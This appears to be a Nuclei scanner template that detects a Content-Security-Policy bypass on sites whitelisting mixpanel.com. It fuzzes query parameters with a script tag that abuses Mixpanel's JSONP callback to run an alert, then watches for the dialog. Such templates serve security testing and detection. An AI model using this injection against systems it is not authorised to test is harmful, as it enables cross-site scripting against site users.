id: mixpanel-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Mixpanel API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,mixpanel-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "mixpanel.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: mixpanel_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.mixpanel.com/track/?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "mixpanel_api_csp_xss == true"
# digest: 4a0a0047304502201b17345074a95053ee51667004c5156a0975416415ca5e454915e1ed313922bc022100d2e32865008ef61c7e964e6d77369782e0b5616e2902ae4d3fbb441f7e63806f:922c64590222798bb761d5b6d8e72950